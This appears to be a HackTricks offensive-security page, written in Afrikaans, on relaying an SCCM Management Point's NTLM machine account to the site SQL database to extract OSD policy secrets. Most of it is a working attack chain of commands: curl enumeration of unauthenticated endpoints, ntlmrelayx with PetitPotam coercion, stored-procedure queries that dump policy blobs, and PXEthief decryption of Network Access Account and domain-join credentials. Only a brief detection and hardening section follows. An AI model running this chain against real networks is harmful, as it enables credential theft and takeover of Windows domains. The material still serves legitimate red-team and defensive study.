6.2 KiB
SCCM Bestuurspunt NTLM Relay na SQL – OSD Beleid Geheim Onttrekking
{{#include ../../banners/hacktricks-training.md}}
TL;DR
Deur 'n System Center Configuration Manager (SCCM) Bestuurspunt (MP) te dwing om oor SMB/RPC te autentiseer en daardie NTLM masjienrekening na die terrein databasis (MSSQL) te relay, verkry jy smsdbrole_MP / smsdbrole_MPUserSvc regte. Hierdie rolle laat jou toe om 'n stel gestoor prosedures aan te roep wat Operating System Deployment (OSD) beleid blobs (Netwerk Toegang Rekening geloofsbriewe, Taak-Reeks veranderlikes, ens.) blootstel. Die blobs is hex-gecodeer/enkripteer, maar kan gedecodeer en ontsleutel word met PXEthief, wat platte teks geheime oplewer.
Hoofketting:
- Ontdek MP & terrein DB ↦ ongeauthentiseerde HTTP eindpunt
/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA. - Begin
ntlmrelayx.py -t mssql://<SiteDB> -ts -socks. - Dwing MP met PetitPotam, PrinterBug, DFSCoerce, ens.
- Deur die SOCKS-proxy te verbind met
mssqlclient.py -windows-authas die gerelayde \$ rekening. - Voer uit:
use CM_<SiteCode>exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'(ofMP_GetPolicyBodyAfterAuthorization)
- Verwyder
0xFFFEBOM,xxd -r -p→ XML →python3 pxethief.py 7 <hex>.
Geheime soos OSDJoinAccount/OSDJoinPassword, NetworkAccessUsername/Password, ens. word herwin sonder om PXE of kliënte aan te raak.
1. Opname van ongeauthentiseerde MP eindpunte
Die MP ISAPI uitbreiding GetAuth.dll stel verskeie parameters bloot wat nie autentisering vereis nie (tenzij die terrein slegs PKI is):
| Parameter | Doel |
|---|---|
MPKEYINFORMATIONMEDIA |
Retourneer terrein ondertekening sertifikaat publieke sleutel + GUIDs van x86 / x64 Alle Onbekende Rekenings toestelle. |
MPLIST |
Lys elke Bestuurspunt in die terrein. |
SITESIGNCERT |
Retourneer Primêre-Terrein ondertekening sertifikaat (identifiseer die terrein bediener sonder LDAP). |
Grijp die GUIDs wat as die clientID sal dien vir latere DB navrae:
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
2. Stuur die MP masjienrekening na MSSQL
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
Wanneer die dwang afgaan, moet jy iets soos die volgende sien:
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
3. Identifiseer OSD-beleide via gestoor prosedures
Verbind deur die SOCKS-proxy (poort 1080 standaard):
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
Skakel oor na die CM_ DB (gebruik die 3-syfer terrein kode, bv. CM_001).
3.1 Vind Onbekende-Rekenaar GUIDs (opsioneel)
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
3.2 Lys toegewyde beleide
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
Elke ry bevat PolicyAssignmentID, Body (hex), PolicyID, PolicyVersion.
Fokus op beleide:
- NAAConfig – Netwerktoegangrekening krediete
- TS_Sequence – Taakvolgorde veranderlikes (OSDJoinAccount/Wagwoord)
- CollectionSettings – Kan run-as rekeninge bevat
3.3 Verkry volle liggaam
As jy reeds PolicyID & PolicyVersion het, kan jy die clientID vereiste oorslaan met:
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
BELANGRIJK: Verhoog “Maximale Karakters Herwin” in SSMS (>65535) of die blob sal afgekort word.
4. Dekodeer & dekripteer die blob
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
Herstelde geheime voorbeeld:
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
5. Relevante SQL rolle & prosedures
By relay word die aanmelding toegeken aan:
smsdbrole_MPsmsdbrole_MPUserSvc
Hierdie rolle stel dosyne EXEC-toestemmings bloot, die sleutel wat in hierdie aanval gebruik word, is:
| Gestoor Prosedure | Doel |
|---|---|
MP_GetMachinePolicyAssignments |
Lys beleid toegepas op 'n clientID. |
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization |
Retourneer volledige beleidsliggaam. |
MP_GetListOfMPsInSiteOSD |
Teruggestuur deur MPKEYINFORMATIONMEDIA pad. |
Jy kan die volledige lys inspekteer met:
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
6. Opsporing & Versterking
- Monitor MP aanmeldings – enige MP rekenaarrekening wat aanmeld vanaf 'n IP wat nie sy gasheer is nie ≈ relay.
- Aktiveer Verlengde Beskerming vir Verifikasie (EPA) op die webwerf databasis (
PREVENT-14). - Deaktiveer ongebruikte NTLM, afdwing SMB ondertekening, beperk RPC (
dieselfde versagtings wat teen
PetitPotam/PrinterBuggebruik is). - Versterk MP ↔ DB kommunikasie met IPSec / mutual-TLS.
Sien ook
-
NTLM relay beginsels: {{#ref}} ../ntlm/README.md {{#endref}}
-
MSSQL misbruik & post-exploitatie: {{#ref}} abusing-ad-mssql.md {{#endref}}
Verwysings
- I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays
- PXEthief
- Misconfiguration Manager – ELEVATE-4 & ELEVATE-5 {{#include ../../banners/hacktricks-training.md}}